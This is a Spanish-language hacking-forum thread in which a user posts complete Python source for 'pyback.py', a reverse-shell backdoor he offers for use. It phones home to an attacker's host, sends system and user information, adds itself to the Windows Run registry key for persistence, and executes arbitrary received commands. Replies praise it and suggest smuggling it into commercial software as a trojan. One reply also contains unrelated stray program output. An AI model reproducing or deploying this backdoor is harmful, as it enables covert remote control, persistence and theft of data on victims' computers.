Enero 24, 2018, 12:26:10 am

Autor Tema: [python] pyback.py un exelente backdoor echo por mi!  (Leído 3056 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Exadict

  • Me das tu IP?
  • *
  • Mensajes: 36
    • Ver Perfil
[python] pyback.py un exelente backdoor echo por mi!
« en: Marzo 31, 2010, 01:58:40 pm »
ok empecemos pyback es un backdoor para linux como windows es muy sencillo de utilisar y de leer
esta echo en python ya q todos los distros de linux tienen python instalado
esta tool funciona con NETCAT

bueno veamos el script!
Código: You are not allowed to view links. Register or Login
#!/usr/bin/env python

import os, sys, socket, time
try:
    HOST = sys.argv[1]
    PORT =  int(sys.argv[2])
except (IndexError, ValueError):
    print helpscreen()
    sys.exit(1)
   
try:
    winregfound = True
    import _winreg
except ImportError:
    print '\n [-] _winreg module not found, continuing without'
    winregfound = False
   
def first():
    con = socket.gethostname()
    ip=socket.gethostbyname(con)
    s.send("Reciving conection from: " +ip)
    time.sleep(3)

def helpscreen():
    h = '''
 Usage: pydoor.py [HOST] [PORT]
 Example: pydoor.py 127.0.0.1 1337'''
    return h

def sendinfo():
    if ostype == 'unix':
        s.send(title)     
        s.send('\n ID: ' + os.popen('id').read())
        s.send('\n Who are you: ' + os.popen('whoami').read())
        s.send('\n Kernel info: ' + os.popen('uname -a').read())
    elif ostype == 'dos':
        if winregfound:
            keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE,  'Software\\Microsoft\Windows\\CurrentVersion\\Run',0,  _winreg.KEY_SET_VALUE)
            _winreg.SetValueEx (keyp, 'Intel', 0, _winreg.REG_SZ, b)
            _winreg.CloseKey(keyp)
        s.send(title)
        s.send('\n Version: ' + os.popen('ver').read())
        s.send('\n Net users: ' + os.popen('net users').read())
    else:
        s.send(title)
       
def dire():
    if ostype == 'unix':
        dir1 = 'ls -a'
        s.send(os.popen(dir1).read())
    elif ostype == 'dos':
        dir1 = 'dir'
        s.send(os.popen(dir1).read())
    else:
        print '\nCannot dir due to unidentified operating system'

def CD(where):
    try:
        os.chdir(where)
    except OSError:
        d = '\nCould not cd to %s: %s' % (where)
        return d
    else:
        d = '\nChanged curdir to %s' % (os.curdir)
        return d

a =  sys.path[0]
pyback = '\pyback.py'
b= '"'+a+pyback+' '+HOST+' '+str(PORT)+'"'+'/background'
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    first()
except BaseException, e:
    print '\nSocketError: %s' % (e)
    sys.exit(1)

if (sys.platform == 'linux-i386') or (sys.platform == 'linux2') or  (sys.platform == 'darwin'):
    ostype = 'unix'
elif (sys.platform == 'win32') or (sys.platform == 'dos') or  (sys.platform[0:5] == 'ms-dos'):
    ostype = 'dos'

title = """
_____        ____             _   
 |  __ \      |  _ \           | |   
 | |__) |_   _| |_) | __ _  ___| | __
 |  ___/| | | |  _ < / _` |/ __| |/ /
 | |    | |_| | |_) | (_| | (__|   <
 |_|     \__, |____/ \__,_|\___|_|\_
          __/ |                     
         |___/                       


         
    made by: LeXeL (lexelEZ@gmail.com)
    greetz to Sevic3 and s3my0n
    visit: Evilzone.org intern0t.net
    """
sendinfo()
while True:
    s.send('\n> ')
    cmd = s.recv(1024)

    cmd2 = cmd.split()
    if cmd2[0].lower() == 'cd':
        msg = CD(cmd2[1])
        s.send(msg)
    if cmd2[0].lower()=='dir':
        dire()
    if cmd2[0].lower() == 'getinfo':
        sendinfo()
    if cmd2[0].lower() == 'exit':
        s.close()
    a = os.popen(cmd).read()
    s.send(a)
como podemos ver es muy sencillo tiene varias funciones si se instala en una victima con windows se va a auto guardar en "HKEY_LOCAL_MACHINE\\Software\\Microsoft\Windows\\CurrentVersion\\Run"
para asi cuando se reinice la victima se conecte a tu pc usando netcat

con esto podemos ver la funciones HASTA AORA DE LA TOOL

   cmd2 = cmd.split()
    if cmd2[0].lower() == 'cd':
        msg = CD(cmd2[1])
        s.send(msg)
    if cmd2[0].lower()=='dir':
        dire()
    if cmd2[0].lower() == 'getinfo':
        sendinfo()
    if cmd2[0].lower() == 'exit':
        s.close()
    a = os.popen(cmd).read()
    s.send(a)

esto es por ahora voy a empesar a agregar una ciertas funciones como son:
-port scanner
-matar el systema operativo por completo
-Denial of service
-y una mejor informacion de la victima especialmente en widnows!

Porfavor comente digan sus quejas y comentarios

Desconectado coredump

  • Yo vivo en CPH
  • ***
  • Mensajes: 408
  • Sexo: Masculino
    • Ver Perfil
Re: [python] pyback.py un exelente backdoor echo por mi!
« Respuesta #1 en: Marzo 31, 2010, 06:46:07 pm »
No lo leí en detalle pero se ve bastante bueno  ;)
Hay varios programas comerciales que usan scripts de python, así que se podría llegar a meter en uno de ellos como troyanito (por ejemplo, el Civilizations).
Lo que noté es que si no se conecta se muere ahí, sería interesante que cada tanto tiempo intente volver a conectarse.

Bueno, después lo seguiré mirando. Una vez que entra en el sistema puede hacerse cualquier locura jojojo



Saludos!

coredump



PD. lo podrías hacer con objetos, para que quede más lindo?  ;D
Generation no: 298
Generation no: 299
Generation no: 300
The end of all the generations.
The best solution found is Program number: 42
+--DIV
|  +--[0]
|  +--[0]
The fitness value is: 68
Press any key to terminate....

Desconectado Exadict

  • Me das tu IP?
  • *
  • Mensajes: 36
    • Ver Perfil
Re: [python] pyback.py un exelente backdoor echo por mi!
« Respuesta #2 en: Marzo 31, 2010, 07:44:30 pm »
si se puede pero aora no tengo mucho tiempo talves cuando termine lo q quiero lograr lo are
gracias por tu comentario tienes rason lo de q si no c conecta muere voy a pensar como ago para q siga funcionando

Desconectado Boosc

  • Me das tu IP?
  • *
  • Mensajes: 3
    • Ver Perfil
Re: [python] pyback.py un exelente backdoor echo por mi!
« Respuesta #3 en: Mayo 10, 2010, 04:17:45 am »
Gracias por tu aporte Exadict, voy a mirarme el codigo aver si puedo aprender algo de el....



xx
Exelente pagina con manuales sobre python...

Iniciado por napoleon15

3 Respuestas
2158 Vistas
Último mensaje Mayo 06, 2008, 01:13:49 pm
por Alsore
exclamation
[Python] Simple Backdoor in Python

Iniciado por BigBear

0 Respuestas
1466 Vistas
Último mensaje Marzo 25, 2011, 03:47:02 pm
por BigBear
exclamation
Python: Exelente tutorial sobre este lenguaje [PDF]

Iniciado por Sthefano02

6 Respuestas
3358 Vistas
Último mensaje ſeptiembre 02, 2010, 04:18:29 pm
por mr.blood
exclamation
Python Backdoor

Iniciado por isseu

0 Respuestas
1296 Vistas
Último mensaje Noviembre 25, 2012, 02:08:18 pm
por isseu
question
Deseo lanzar archivos .bat y .exe desde un menu echo en python

Iniciado por Joayugi

5 Respuestas
10214 Vistas
Último mensaje Febrero 25, 2017, 07:10:29 am
por kanchana
exclamation
Python Gist Graphical Manual: Un exelente manual para graficos Gist [PDF]

Iniciado por Sthefano02

0 Respuestas
1637 Vistas
Último mensaje Julio 03, 2010, 08:36:29 pm
por Sthefano02
xx
truco movistar (argentina) exelente!!!!

Iniciado por carmela

10 Respuestas
5869 Vistas
Último mensaje Abril 30, 2011, 08:59:52 pm
por Neo_
xx
Exelente manual Sobre Bios

Iniciado por Bifrost

0 Respuestas
5144 Vistas
Último mensaje Enero 26, 2007, 12:24:39 pm
por Bifrost
exclamation
Usando netcat linux - una exelente herramienta

Iniciado por broox

4 Respuestas
3844 Vistas
Último mensaje Octubre 13, 2009, 12:46:42 pm
por trashhgoo
thumbup
exelente manuales par HACKERS AQUI!!!![MEGA RECOMENDADO]

Iniciado por Wizeg

1 Respuestas
1472 Vistas
Último mensaje Febrero 22, 2007, 10:16:02 am
por OzX